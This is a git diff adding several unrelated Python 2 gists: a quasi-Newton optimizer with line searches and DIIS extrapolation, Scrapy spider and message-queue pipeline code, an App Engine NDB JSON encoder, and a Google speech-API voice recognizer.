+            width1 = width
+            width = abs(alpha_u - alpha_l)
+
+
+    if Verbose: print k + 1, 'iterations in More-Thuente line search'
+    return alpha_t
+
+
+
+def CubicLineSearch(f, df, x, p, df_x, f_x = None, args = (),
+        alpha = 0.0001, beta = 0.9, eps = 0.0001, Verbose = False):
+
+    if f_x is None:
+        f_x = f(x, *args)
+
+    assert df_x.T.shape == p.shape
+    assert 0 < alpha < 1, 'Invalid value of alpha in backtracking linesearch'
+    assert 0 < beta < 1, 'Invalid value of beta in backtracking linesearch'
+
+
+    phi = lambda c: f(x + (c * p), *args)
+
+    phi0 = f_x
+    derphi0 = dot(df_x, p)
+
+    assert derphi0.shape == (1, 1) or derphi0.shape == ()
+    assert derphi0 < 0, 'Attempted to linesearch uphill'
+
+    stp = 1.0
+
+    #Loop until Armijo condition is satisfied
+    while phi(stp) > phi0 + alpha * stp * derphi0:
+        #Quadratic interpolant
+        stp_q = -derphi0 * alpha ** 2 / (2 * phi(stp) - phi0 - derphi0 * stp)
+        if phi(stp_q) > f_x + alpha * stp_q * derphi0:
+            return stp_q
+
+        #Quadratic interpolant bad, use cubic interpolant
+        A = zeros((2, 2))
+        b = zeros((2,))
+
+        A[0, 0] = stp * stp
+        A[0, 1] = -stp_q ** 2
+        A[1, 0] = -stp ** 3
+        A[1, 1] = stp_q ** 3
+
+        b[0] = phi(stp_q) - phi0 - derphi0 * stp_q
+        b[1] = phi(stp) - phi0 - derphi0 * stp
+
+        xx = dot(A, b) / ((stp * stp_q) ** 2 * (stp_q - stp))
+
+        stp_c = (-xx[1] + (xx[1] ** 2 - 3 * xx[0] * derphi0) ** 0.5) / (3 * xx[0])
+
+        #Safeguard: if new alpha too close to predecessor or too small
+        if abs(stp_c - stp) < 0.001 or stp_c < 0.001:
+            stp *= beta
+        else:
+            stp = stp_c
+        #print stp
+
+    #print stp
+    return stp
+
+
+
+def BacktrackingLineSearch(f, df, x, p, df_x = None, f_x = None, args = (),
+        alpha = 0.0001, beta = 0.9, eps = _epsilon, Verbose = False):
+    """
+    Backtracking linesearch
+    f: function
+    x: current point
+    p: direction of search
+    df_x: gradient at x
+    f_x = f(x) (Optional)
+    args: optional arguments to f (optional)
+    alpha, beta: backtracking parameters
+    eps: (Optional) quit if norm of step produced is less than this
+    Verbose: (Optional) Print lots of info about progress
+    
+    Reference: Nocedal and Wright 2/e (2006), p. 37
+    
+    Usage notes:
+    -----------
+    Recommended for Newton methods; less appropriate for quasi-Newton or conjugate gradients
+    """
+
+    if f_x is None:
+        f_x = f(x, *args)
+    if df_x is None:
+        df_x = df(x, *args)
+
+    assert df_x.T.shape == p.shape
+    assert 0 < alpha < 1, 'Invalid value of alpha in backtracking linesearch'
+    assert 0 < beta < 1, 'Invalid value of beta in backtracking linesearch'
+
+    derphi = dot(df_x, p)
+
+    assert derphi.shape == (1, 1) or derphi.shape == ()
+    assert derphi < 0, 'Attempted to linesearch uphill'
+
+    stp = 1.0
+    fc = 0
+    len_p = norm(p)
+
+
+    #Loop until Armijo condition is satisfied
+    while f(x + stp * p, *args) > f_x + alpha * stp * derphi:
+        stp *= beta
+        fc += 1
+        if Verbose: print 'linesearch iteration', fc, ':', stp, f(x + stp * p, *args), f_x + alpha * stp * derphi
+        if stp * len_p < eps:
+            print 'Step is  too small, stop'
+            break
+    #if Verbose: print 'linesearch iteration 0 :', stp, f_x, f_x
+
+    if Verbose: print 'linesearch done'
+    #print fc, 'iterations in linesearch'
+    return stp
+
+
+
+#######################
+# Trust region models #
+#######################
+
+class DogLeg:
+    def __init__(self, f, df, B, x, g, f_x = None, df_x = None, TrustRadius = 1.0):
+        self.TrustRadius = TrustRadius
+        self.f = f   #Function
+        self.df = df #Gradient function
+        self.B = B #Approximate Hessian
+        self.x = x #Current point
+        self.g = g #Search direction
+
+    def solve(self):
+        g = self.g
+        B = self.B
+        #Step 1: Find unconstrained solution
+        pB = g
+        #Step 2: Find Cauchy point
+        pU = -dot(g, g) / dot(g, dot(B, g)) * g
+        #INCOMPLETE
+
+
+################
+# Extrapolator #
+################
+
+class DIISExtrapolator:
+    def __init__(self, max = 300):
+        self.maxvectors = max
+        self.Reset()
+
+    def Reset(self):
+        self.errorvectors = []
+        self.coordvectors = []
+
+    def AddData(self, error, coord):
+        #Check max
+        while self.GetNumVectors() - self.maxvectors >= 0:
+            self.errorvectors.pop()
+            self.coordvectors.pop()
+
+        from numpy import asarray
+        #print asarray(error).flatten().shape, asarray(coord).flatten().shape
+
+        self.errorvectors.append(deepcopy(asarray(error).flatten()))
+        self.coordvectors.append(deepcopy(asarray(coord).flatten()))
+
+    def GetNumVectors(self):
+        assert len(self.errorvectors) == len(self.coordvectors)
+        return len(self.errorvectors)
+
+    def Extrapolate(self):
+        #Construct Overlap matrix (aka Gram matrix)
+        N = self.GetNumVectors()
+        if N == 0: return None
+
+        B = zeros((N + 1, N + 1))
+        for i in range(N):
+            for j in range(N):
+                B[i, j] = dot(self.errorvectors[i], self.errorvectors[j])
+
+        B[N, :] = -1
+        B[:, N] = -1
+        B[N, N] = 0
+
+        v = zeros(N + 1)
+        v[N] = -1
+
+        #Solve for linear combination
+        xex = self.coordvectors[0] * 0
+        try:
+            c = solve(B, v)
+            assert c.shape == v.shape
+
+            #Generate interpolated coordinate
+            for i in range(N):
+                xex += c[i] * self.coordvectors[i]
+        except: #Linear dependency detected; trigger automatic reset
+            c = dot(pinv(B), v)
+            #Generate interpolated coordinate
+            for i in range(N):
+                xex += c[i] * self.coordvectors[i]
+            print 'Linear dependency detected in DIIS; resetting'
+            self.Reset()
+
+        return xex
+
+
+#######################
+# Quasi-Newton driver #
+#######################
+
+
+class ApproxHessianBase:
+    def __init__(self, N = None):
+        if N is None:
+            self.M = None
+        else:
+            self.M = eye(N)
+
+    def Reset(self):
+        self.SetToIdentity()
+
+    def SetToIdentity(self):
+        self.M = eye(self.M.shape[0])
+
+    def SetToScaledIdentity(self, c = 1):
+        self.M = c * eye(self.M.shape[0])
+
+    def SetToMatrix(self, K):
+        self.M = K
+
+    def GetHessian(self):
+        return self.M
+
+    def Operate(self, g):
+        assert False, 'Should never run this'
+
+    def Update(self, *args):
+        assert False, 'Should never run this'
+
+    def __rshift__(self, g): #Overload >> operator
+        """If self.B is defined, solves for x in B x = -g
+        """
+        try:
+            dx = self.Operate(g)
+        except ValueError, e:
+            print e
+            print g.shape, self.M.shape
+            exit()
+
+        try:
+            return asarray_chkfinite(dx)
+        except (LinAlgError, ValueError):
+            print 'Restarting approximate Hessian'
+            'Trigger restart, fall back to steepest descent'
+            self.SetToIdentity()
+            return g
+
+
+
+class ApproxHessian(ApproxHessianBase): 
+    def __init__(self, N = None):
+        ApproxHessianBase.__init__(self, N)
+
+    def SetToNumericalHessian(self, df, x, step = 0.001, UseStencil = None):
+        if UseStencil is None:
+            import Stencil
+            UseStencil = Stencil.FirstOrderCentralDifferenceStencil()
+        #Initialize Hessian as numerical Hessian
+        self.M = UseStencil.ApplyToFunction(df, x, step)
+
+    def Operate(self, g):
+        """If self.B is defined, solves for x in B x = -g
+        """
+        try:
+            dx = -solve(self.M, g)
+        except LinAlgError:
+            print 'Warning, using pseudoinverse'
+            dx = -pinv(self.M, g)
+        return dx
+
+
+
+class ApproxInvHessian(ApproxHessianBase):
+    def __init__(self, N = None):
+        ApproxHessianBase.__init__(self, N)
+
+    def SetToNumericalHessian(self, df, x, step = 0.001, UseStencil = None):
+        if UseStencil is None:
+            import Stencil
+            UseStencil = Stencil.FirstOrderCentralDifferenceStencil()
+        #Initialize Hessian as numerical Hessian
+        K = UseStencil.ApplyToFunction(df, x, step)
+        try:
+            self.M = inv(K)
+        except LinAlgError:
+            self.M = pinv(K)
+
+    def GetHessian(self):
+        try:
+            return inv(self.M)
+        except LinAlgError:
+            print 'Warning, using pseudoinverse'
+            return pinv(self.M)
+
+    def Operate(self, g):
+        """If self.H is defined, returns x = H g
+        """
+        return - dot(self.M, g)
+
+
+
+class BFGSInvHessian(ApproxInvHessian):
+    def Update(self, s, y, s_dot_y = None):
+            if s_dot_y is None: s_dot_y = dot(s, y)
+            rhok = 1.0 / s_dot_y
+            I = eye(self.M.shape[0])
+            A1 = I - outer(s, y) * rhok
+            A2 = I - outer(y, s) * rhok
+            self.M = dot(A1, dot(self.M, A2))
+            self.M += +rhok * outer(s, s)
+
+
+class LBFGSInvHessian(ApproxInvHessian):
+    def __init__(self, M = 20):
+        self.maxnumvecs = int(M)
+        self.rho = []
+        self.gamma = 1.0
+        self.Reset()
+
+        print 'Initialized L-BFGS Hessian approximation with M =', self.maxnumvecs
+
+    def Reset(self):
+        self.s = []
+        self.y = []
+        self.rho = []
+
+    def SetToIdentity(self): #Reset
+        self.Reset()
+
+    def SetToScaledIdentity(self, c = None): #Reset
+        self.Reset()
+        if c is not None: self.gamma = c
+
+    def Update(self, s, y, s_dot_y = None):
+        if len(self.s) == self.maxnumvecs:
+            self.s.pop(0)
+            self.y.pop(0)
+            self.rho.pop(0)
+
+        if s_dot_y is None: s_dot_y = dot(s, y)
+        rho = 1.0 / s_dot_y
+        if isinf(rho):
+            print 'Warning, s . y = 0; ignoring pair'
+        else:
+            self.s.append(s)
+            self.y.append(y)
+            self.rho.append(rho)
+
+    def GetNumVecs(self):
+        assert len(self.s) == len(self.y)
+        return len(self.s)
+
+    def __rshift__(self, g): #Overload >> as multiply -H g
+        q = g
+        m = self.GetNumVecs()
+        s = self.s
+        y = self.y
+        a = zeros(m)
+        for i in range(m - 1, -1, -1):
+            a[i] = self.rho[i] * dot(s[i], q)
+            q = q - a[i] * y[i]
+
+        #r = Hguess * q
+        gamma = self.gamma
+        if m > 0: gamma = dot(s[-1], y[-1]) / dot(y[-1], y[-1])
+        #if m > 0: gamma = 0.5 * gamma + 0.5 * dot(s[-1], y[-1]) / dot(y[-1], y[-1])
+        self.gamma = gamma
+        print 'gamma=',gamma
+        r = gamma * q
+        for i in range(m):
+            b = self.rho[i] * dot(y[i], r)
+            r = r + s[i] * (a[i] - b)
+
+        return - r
+
+
+
+def Optimizer(f, x0, df = None, xtol = 0.1*_epsilon**0.5,
+             gtol =  0.1*_epsilon**0.5, maxstep = 1, maxiter = None,
+             line_search = BacktrackingLineSearch, DIISTrigger = 0):
+
+    #Hijack code with call to L-BFGS-B
+    #from scipy.optimize import fmin_l_bfgs_b
+    #return fmin_l_bfgs_b(f, x0, df, m = len(x0), pgtol = gtol, factr = 1.0/xtol, iprint=1)[0]
+
+    #Do LBFGS
+    #If true, will fall back on BFGS automatically
+    DoLBFGS = True
+
+    DoLineSearch = True
+    TrustRadius = 0.5
+    MaxTrustRadius = 10.0
+
+    #Cosine squared of uphill angle
+    UphillAngleThresh = 0.0
+    UphillFThresh = 0.001
+
+    #Massage x0
+    x0 = asarray_chkfinite(x0).ravel()
+    if x0.ndim == 0: x0.shape = (1,)
+
+    #Set default number of maxiters
+    if maxiter is None: maxiter = max(20000, len(x0) * 4)
+
+    ###########
+    #Initialize
+    ###########
+    x = x0
+    f_x, df_x = f(x0), df(x0)
+    norm_g = norm(df_x)
+    N = len(x0)
+    if DoLBFGS:
+        #Dimension of 3 --- 20 is normal
+        #H = LBFGSInvHessian(2 + N ** 0.2)
+        H = LBFGSInvHessian(N)
+    else:
+        H = BFGSInvHessian(N)
+        H.SetToNumericalHessian(df, x)
+
+    if DIISTrigger != 0: DIIS = DIISExtrapolator()
+
+
+
+    for k in range(maxiter):
+        #######################################################################
+        # Solve for unconstrained minimization direction p such that H p = -x #
+        #######################################################################
+        p = H >> df_x #overloaded
+        AcceptStep = True
+
+        ##########################################################
+        # Safeguard: perform linesearch or trust-region limiting #
+        #            to determine actual step s to take          #
+        ##########################################################
+        if DoLineSearch:
+            ####################
+            # Perform linesearch
+            ####################
+            alpha = line_search(f, df, x, p, df_x, f_x)
+            try:
+                alpha = line_search(f, df, x, p, df_x, f_x)
+                assert alpha > 0
+            except AssertionError:
+                print 'Line search failed; falling back to exact line search'
+                alpha = MinpackLineSearch(f, df, x, p, df_x, f_x)
+                assert alpha > 0
+            s = alpha * p
+            norm_s = norm(s)
+        else:
+            ##############
+            # Do dog-leg #
+            ##############
+            #First do line search along steepest descent direction
+            alpha = line_search(f, df, x, -df_x, df_x, f_x)
+            #Cauchy point is x - alpha * df_x
+            #Next, move toward unconstrained solution from Cauchy point
+            dogleg = p + alpha * df_x
+            alpha2 = line_search(f, df, x - alpha * df_x, dogleg)
+            s = -alpha * df_x + alpha2 * dogleg
+            #Stupidly enforce simple trust radius
+            norm_s = norm(s)
+            while norm_s > TrustRadius:
+                alpha2 *= 0.9
+                s = -alpha * df_x + alpha2 * dogleg
+                norm_s = norm(s)
+
+        ######################################
+        # Do DIIS Extrapolation if requested #
+        ######################################
+        DidDIIS = False
+        if DIISTrigger != 0:
+            data = zeros(len(df_x) + 1)
+            data[1:] = df_x
+            data[0] = f_x
+            DIIS.AddData(error = data, coord = x)
+            if DIIS.GetNumVectors() % DIISTrigger == 0:
+                mindf = min([norm(xx[1:]) for xx in DIIS.errorvectors])
+                xdnew = DIIS.Extrapolate()
+                norm_df_xdnew = norm(df(xdnew))
+                f_xdnew = f(xdnew)
+                if norm_df_xdnew < mindf and f_xdnew < f_x:
+                    #Accept only if there is actually a reduction in |df|
+                    print 'Accepted DIIS extrapolation'
+                    DidDIIS = True
+                    s = xdnew - x
+                    #if DIISTrigger > 1: DIISTrigger -= 1
+                    #print 'Improvement ratios', (f_x - f_xdnew) / f_x, (mindf - norm_df_xdnew) / mindf
+                    if (f_x - f_xdnew) < 0.000001 * f_x and (mindf - norm_df_xdnew) < 0.00001 * mindf :
+                        print 'DIIS reaching diminishing returns, resetting'
+                        DIIS.Reset()
+                        #DIISTrigger += 1
+                else:
+                    print 'DIIS wanted to go to', f_xdnew, norm_df_xdnew
+                    print "Rejected DIIS extrapolation"
+                    DIIS.Reset()
+                    DIISTrigger += 1
+                    AcceptStep = False
+            if DIISTrigger > 50:
+                print 'Turning off DIIS'
+                DIISTrigger = 0
+
+        ####################################################
+        # Take step; compute function value and derivative #
+        ####################################################
+        xnew = x + s
+        f_xnew = f(xnew)
+        df_xnew = df(xnew)
+        y = df_xnew - df_x
+        norm_y = norm(y)
+        norm_gnew = norm(df_xnew)
+        s_y = dot(s, y)
+
+        #############################################
+        # If doing line search, update trust radius #
+        #############################################
+        if True:
+            ReductionRatio = 2 * (f_xnew - f_x) / dot(s, df_x)
+            print '\nReduction ratio:', ReductionRatio
+            if ReductionRatio <= 0:
+                print 'Iterations are producing a WORSE answer!\nBailing.'
+                print 'Rejecting step and restarting BFGS'
+                AcceptStep = False
+                if DoLBFGS:
+                    H.Reset()
+                    H.Update(s, y)
+                else:
+                    gamma = s_y / norm_y ** 2
+                    H.SetToScaledIdentity(gamma)
+
+        if not DoLineSearch: #ie do trust region
+            #Compute model quality?
+            ReductionRatio = 2 * (f_xnew - f_x) / dot(s, df_x)
+            print '\nReduction ratio:', ReductionRatio
+            if ReductionRatio > 0.75:
+                if norm(s) == TrustRadius:
+                    TrustRadius = min (2 * TrustRadius, MaxTrustRadius)
+            elif ReductionRatio < 0.25:
+                TrustRadius *= 0.25
+
+        ###################
+        # Check convergence
+        ###################
+        if norm_g < gtol:
+            break
+
+        #################################
+        # Make sure we are going downhill
+        #################################
+        NegCosDescentAngle = s_y / (norm_s * norm_y)
+        DescentAngle = arccos(-NegCosDescentAngle)
+        DescentRatio = (f_x - f_xnew) / f_x
+        isGoingUphill = NegCosDescentAngle < UphillAngleThresh
+        isIncreasing = -DescentRatio > UphillFThresh
+        if isGoingUphill or isIncreasing:
+            if isGoingUphill:
+                print '\nIteration %d: WARNING: Going uphill with angle %f' % \
+                    (k, -DescentAngle)
+
+            if isIncreasing:
+                print '\nIteration %d: WARNING: function increased by ratio %f' % \
+                    (k, -DescentRatio)
+
+            print 'Rejecting step and restarting BFGS'
+            AcceptStep = False
+            if DoLBFGS:
+                H.Reset()
+                H.Update(s, y)
+            else:
+                gamma = s_y / norm_y ** 2
+                H.SetToScaledIdentity(gamma)
+
+        else:
+            #####################################
+            # Accept step, update quasi-Hessian #
+            #####################################
+
+            if not DidDIIS:
+                H.Update(s, y)
+
+        #####################################################
+        # EXPERIMENTAL: Heuristics for switching algorithms #
+        #####################################################
+        if False and DoLineSearch and  DescentRatio < 1e-2:
+            print '\nTurning off linesearch'
+            DoLineSearch = False
+        if False and DescentRatio < 1e-2 and DIISTrigger==0:
+            print 'Do DIIS'
+            DIISTrigger = 2
+            DIIS = DIISExtrapolator()
+            #print 'Switching to BFGS'
+            #H = BFGSInvHessian(N)
+            #gamma = dot(s, y) / dot(y, y)
+            #H.SetToScaledIdentity(gamma)
+
+        ###################################################
+        # Accept step: update function value and gradient #
+        ###################################################
+        if AcceptStep:
+            x = xnew
+            df_x = df_xnew
+            f_x = f_xnew
+            norm_g = norm_gnew
+
+        print "Iteration %d: f(x) = %f (%fx), ||f'(x)|| = %f, || dx || = %f, descent angle = %f" \
+            % (k, f_x, DescentRatio, norm_g, norm_s, DescentAngle)
+
+
+    if k == maxiter - 1: print 'Maximum number of iterations reached'
+    print 'Quasi-Newton done'
+
+    """
+    W = ApproxHessian()
+    W.SetToNumericalHessian(df, x)
+    Hess = W.GetHessian()
+    from numpy.linalg import svd
+    for eigval in svd(Hess)[1]:
+        print eigval
+    """
+    
+    exit()
+    return x
diff --git a/hard-gists/1567224/._snippet.py b/hard-gists/1567224/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1567224/._snippet.py differ
diff --git a/hard-gists/1567224/snippet.py b/hard-gists/1567224/snippet.py
new file mode 100644
index 00000000..d3129546
--- /dev/null
+++ b/hard-gists/1567224/snippet.py
@@ -0,0 +1,37 @@
+from scrapy import log
+from scrapy.spider import BaseSpider
+from scrapy.contrib.spiders import CrawlSpider, Rule
+from scrapy.selector import HtmlXPathSelector
+from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
+
+from icone.items import Product 
+
+class IconeSpider(CrawlSpider):
+
+    name = 'icone'
+    allowed_domains = ['icone.co.uk']
+    start_urls = ['http://www.icone.co.uk/designer-living/product-type/Lighting-Floor',
+#        'http://www.icone.co.uk/designer-living/product-type/',
+#        'http://www.icone.co.uk/designer-living/brand/',
+#        'http://www.icone.co.uk/designer-living/designer/',
+    ]
+    rules = (Rule(SgmlLinkExtractor(allow=('/[0-9]+',)), callback='parse', follow=True), )
+
+    def parse(self, response):
+        log.msg('A response from %s just arrived!' % response.url)
+
+        hxs = HtmlXPathSelector(response)
+        products = hxs.select('//table/tr/td/table/tr[3]/td/table/tr/td/form/table/tr[2]/td/table')
+        items = []
+    
+        for product in products:
+
+          item = Product()
+          item['name'] = product.select('./tr/td[@class="itemlist_design"]/strong/text()').extract()
+          item['description'] = product.select('./tr/td[@class="itemlist_desc"]/text()').extract()
+          item['price'] = product.select('./tr/td[@class="itemlist_price"]/a/span/strong/text()').extract() 
+          item['image'] = product.select('./tr/td[@class="itemlist_img"]/a/img/@src').extract()
+
+          items.append(item)
+
+        return items
diff --git a/hard-gists/1572547/._snippet.py b/hard-gists/1572547/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1572547/._snippet.py differ
diff --git a/hard-gists/1572547/snippet.py b/hard-gists/1572547/snippet.py
new file mode 100644
index 00000000..3aa7c202
--- /dev/null
+++ b/hard-gists/1572547/snippet.py
@@ -0,0 +1,86 @@
+# Copyright 2008 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+# 
+#     http://www.apache.org/licenses/LICENSE-2.0
+# 
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Extended and ported to NDB by Bryan Goldstein.
+
+"""Utility classes and methods for use with simplejson and appengine.
+
+Provides both a specialized simplejson encoder, ModelEncoder, designed to simplify
+encoding directly from NDB Models and query results to JSON. A helper function, 
+encode, is also provided to further simplify usage.
+
+  ModelEncoder: Adds support for NDB Models to simplejson.
+  encode(input): Direct method to encode NDB Model objects as JSON.
+"""
+
+import datetime
+import simplejson
+import time
+
+from google.appengine.api import users
+from ndb import model, query
+
+
+class ModelEncoder(simplejson.JSONEncoder):
+  
+  """
+  Extends JSONEncoder to add support for NDB Models and query results.
+  
+  Adds support to simplejson JSONEncoders for NDB Models and query results by
+  overriding JSONEncoder's default method.
+  """
+  
+  def default(self, obj):
+    """Tests the input object, obj, to encode as JSON."""
+
+    if hasattr(obj, 'to_dict'):
+      return getattr(obj, 'to_dict')()
+
+    if isinstance(obj, query.Query):
+      return list(obj)
+
+    elif isinstance(obj, datetime.datetime):
+      return obj.isoformat()
+
+    elif isinstance(obj, time.struct_time):
+      return list(obj)
+
+    elif isinstance(obj, users.User):
+      output = {}
+      methods = ['nickname', 'email', 'auth_domain']
+      for method in methods:
+        output[method] = getattr(obj, method)()
+      return output
+
+    elif isinstance(obj, model.Key):
+      return obj.get()
+
+    return simplejson.JSONEncoder.default(self, obj)
+
+
+def encode(input):
+  """
+  Encode an input Model object as JSON
+
+    Args:
+      input: A Model object or DB property.
+
+    Returns:
+      A JSON string based on the input object. 
+      
+    Raises:
+      TypeError: Typically occurs when an input object contains an unsupported
+        type.
+  """
+  return ModelEncoder().encode(input)
\ No newline at end of file
diff --git a/hard-gists/1574231/._snippet.py b/hard-gists/1574231/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1574231/._snippet.py differ
diff --git a/hard-gists/1574231/snippet.py b/hard-gists/1574231/snippet.py
new file mode 100644
index 00000000..fc335082
--- /dev/null
+++ b/hard-gists/1574231/snippet.py
@@ -0,0 +1,42 @@
+from scrapy.xlib.pydispatch import dispatcher
+from scrapy import signals
+from scrapy.exceptions import DropItem
+from scrapy.utils.serialize import ScrapyJSONEncoder
+
+from carrot.connection import BrokerConnection
+from carrot.messaging import Publisher
+
+from twisted.internet.threads import deferToThread
+
+class MessageQueuePipeline(object):
+    def __init__(self, host_name, port, userid, password, virtual_host, encoder_class):
+        self.q_connection = BrokerConnection(hostname=host_name, port=port,
+                        userid=userid, password=password,
+                        virtual_host=virtual_host)
+        self.encoder = encoder_class()
+        dispatcher.connect(self.spider_opened, signals.spider_opened)
+        dispatcher.connect(self.spider_closed, signals.spider_closed)
+
+    @classmethod
+    def from_settings(cls, settings):
+        host_name = settings.get('BROKER_HOST', 'localhost')
+        port = settings.get('BROKER_PORT', 5672)
+        userid = settings.get('BROKER_USERID', "guest")
+        password = settings.get('BROKER_PASSWORD', "guest")
+        virtual_host = settings.get('BROKER_VIRTUAL_HOST', "/")
+        encoder_class = settings.get('MESSAGE_Q_SERIALIZER', ScrapyJSONEncoder)
+        return cls(host_name, port, userid, password, virtual_host, encoder_class)
+
+    def spider_opened(self, spider):
+        self.publisher = Publisher(connection=self.q_connection,
+                        exchange="", routing_key=spider.name)
+
+    def spider_closed(self, spider):
+        self.publisher.close()
+
+    def process_item(self, item, spider):
+        return deferToThread(self._process_item, item, spider)
+
+    def _process_item(self, item, spider):
+        self.publisher.send({"scraped_data": self.encoder.encode(dict(item))})
+        return item
\ No newline at end of file
diff --git a/hard-gists/1589531/._snippet.py b/hard-gists/1589531/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1589531/._snippet.py differ
diff --git a/hard-gists/1589531/snippet.py b/hard-gists/1589531/snippet.py
new file mode 100644
index 00000000..368a63b3
--- /dev/null
+++ b/hard-gists/1589531/snippet.py
@@ -0,0 +1,232 @@
+#Eng Eder de Souza 01/12/2011
+#Speech Recognizer prototype ...
+#Real time VAD implementation using Google Speech Api
+
+from tempfile import mkstemp
+from subprocess import call
+from os import remove, listdir
+from matplotlib.mlab import find
+import pyaudio
+import numpy as np
+import wave
+import math
+import struct
+import urllib2
+import sys
+import re
+
+
+#For Portuguese Brazilian Speech Recognizer!
+Lang="pt-BR"
+
+#or for English Speech Recognizer
+#Lang="en-US"
+
+#Download the Binary Windows File to flac conversor Here:
+#http://sourceforge.net/projects/flac/files/flac-win/flac-1.2.1-win/
+#where are your flac.exe ???
+FlacLocal="flac.exe"
+
+url = 'https://www.google.com/speech-api/v1/recognize?xjerr=1&client=chromium&lang='+Lang
+
+cd, FileNameTmp = mkstemp('TmpSpeechFile.flac')
+
+TmpLocation=FileNameTmp.rsplit("\\", 1)[0] + "\\"
+
+
+#http://en.wikipedia.org/wiki/Vocal_range
+#Assuming Vocal Range Frequency upper than 80 Hz
+VocalRange = 80.0
+
+#Assuming Energy threshold upper than 30 dB
+Threshold = 30
+
+SHORT_NORMALIZE = (1.0/32768.0)
+chunk = 1024
+FORMAT = pyaudio.paInt16
+CHANNELS = 1
+RATE = 16000
+swidth = 2
+Max_Seconds = 10
+TimeoutSignal=((RATE / chunk * Max_Seconds) + 2)
+NoSpeaking_seconds = 1;
+Timeout_NoSpeaking=(RATE / chunk * NoSpeaking_seconds + 2)
+silence = True
+Time=0
+
+
+
+def rmOldFiles(TmpLocation):
+	ext=".flac"
+	for fname in listdir(TmpLocation):
+    		if fname[-len(ext):] == ext :
+			if fname != FileNameTmp.rsplit("\\", 1)[1]:
+				rmFile=TmpLocation + fname
+				remove(rmFile)
+
+def SendSpeech(File):
+	#print File
+	flac=open(File,"rb").read()
+	#print flac
+	header = {'Content-Type' : 'audio/x-flac; rate=16000'}
+	req = urllib2.Request(url, flac, header)
+	data = urllib2.urlopen(req)
+	print "You Said ..."
+	#print data.read()
+	find = re.findall('"utterance":(.*),', data.read())
+	#utterance
+	#remove(FileNameTmp)
+	#print find
+	try:
+		print find[0]
+	except:
+		print "speech not recognized ..." 
+
+def GetStream(chunk):
+	return stream.read(chunk)
+
+def Pitch(signal):
+	signal = np.fromstring(signal, 'Int16');
+	crossing = [math.copysign(1.0, s) for s in signal]
+	index = find(np.diff(crossing));
+	f0=round(len(index) *RATE /(2*np.prod(len(signal))))
+	return f0;
+
+def rms(frame):
+	count = len(frame)/swidth
+    	format = "%dh"%(count)
+    	shorts = struct.unpack( format, frame )
+
+    	sum_squares = 0.0
+    	for sample in shorts:
+        	n = sample * SHORT_NORMALIZE
+        	sum_squares += n*n
+		rms = math.pow(sum_squares/count,0.5);
+
+	return rms * 1000
+
+def speaking(data):
+	rms_value = rms(data) 
+	if rms_value > Threshold:
+		return True
+	else:
+		return False
+
+def WriteSpeech(WriteData):
+	stream.stop_stream()
+	stream.close()
+	p.terminate()
+	wf = wave.open(FileNameTmp, 'wb')
+	wf.setnchannels(CHANNELS)
+	wf.setsampwidth(p.get_sample_size(FORMAT))
+	wf.setframerate(RATE)
+	wf.writeframes(WriteData)
+	wf.close()
+
+def EndRecord():
+	
+	#########print FileNameTmp
+	File= TmpLocation + "eder22.flac"
+	##########print File
+
+	str_Flac = FlacLocal + " -s -f " + FileNameTmp + " -o " + File
+	##########print str_Flac
+	proc=call(str_Flac, shell=False)
+	SendSpeech(File)
+	remove(File)
+	#remove(FileNameTmp)
+
+def VAD(SumFrequency, data2):
+	AVGFrequency = SumFrequency/(Timeout_NoSpeaking+1);
+	#if AVGFrequency > VocalRange:
+	if AVGFrequency > VocalRange/2:
+		S=speaking(data2)
+		if S:
+			return True;
+		else: 
+			return False;
+
+		
+	else:
+		#S=speaking(data2)
+		#if S:
+			#Speech=True;
+		#else: 
+		return False;
+
+def RecordSpeech(TimeoutSignal, LastBlock):
+	
+	SumFrequency=0;
+	test=Timeout_NoSpeaking;
+	all.append(LastBlock)
+	for i in range(0, TimeoutSignal):
+		try:
+			data = GetStream(chunk)
+		except:
+			continue
+
+		######print Pitch(data);
+		SumFrequency = Pitch(data)+SumFrequency;
+    		all.append(data)
+    		stream.write(data, chunk)
+		data2 = ''.join(all)
+
+		if i == test:
+			#Speech=speaking(data2)
+			test = test + Timeout_NoSpeaking
+			Speech=VAD(SumFrequency, data2);
+			SumFrequency=0;
+			if Speech:
+				
+				#test = test + Timeout_NoSpeaking
+				data2 = ''
+			else:
+				data = ''.join(all)
+				WriteSpeech(data)
+				EndRecord()
+				sys.exit()
+	print "Send after timeout";
+	data = ''.join(all)
+	WriteSpeech(data)
+	EndRecord()
+	
+
+all = [] 
+p = pyaudio.PyAudio()
+
+stream = p.open(format = FORMAT,
+	channels = CHANNELS,
+	rate = RATE,
+	input = True,
+	output = True,
+	frames_per_buffer = chunk)
+
+rmOldFiles(TmpLocation)
+
+print "waiting for Speech"
+
+while silence:
+
+	try:
+
+		input = GetStream(chunk)
+
+	except:
+
+		continue
+	
+	Frequency=Pitch(input);
+	rms_value = rms(input)
+		
+	if (rms_value > Threshold) and (Frequency > VocalRange):
+		#print "%f Frequency" %Frequency
+		#print "%f Energy" %rms_value
+		silence=False
+		LastBlock=input
+		print "Recording...."
+	Time = Time + 1
+	if (Time > TimeoutSignal):
+		print "Time Out No Speech Detected"
+		sys.exit()
+
+RecordSpeech(TimeoutSignal, LastBlock)	
diff --git a/hard-gists/1590178/._snippet.py b/hard-gists/1590178/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1590178/._snippet.py differ
diff --git a/hard-gists/1590178/snippet.py b/hard-gists/1590178/snippet.py
new file mode 100644
index 00000000..0aeff232
--- /dev/null
+++ b/hard-gists/1590178/snippet.py
@@ -0,0 +1,93 @@
+from wtforms.fields import SelectField as BaseSelectField
+from wtforms.validators import ValidationError
+from wtforms.widgets import HTMLString, html_params, escape
+from wtforms.widgets import Select as BaseSelectWidget
+
+
+__all__ = ('SelectField', 'SelectWidget')
+
+
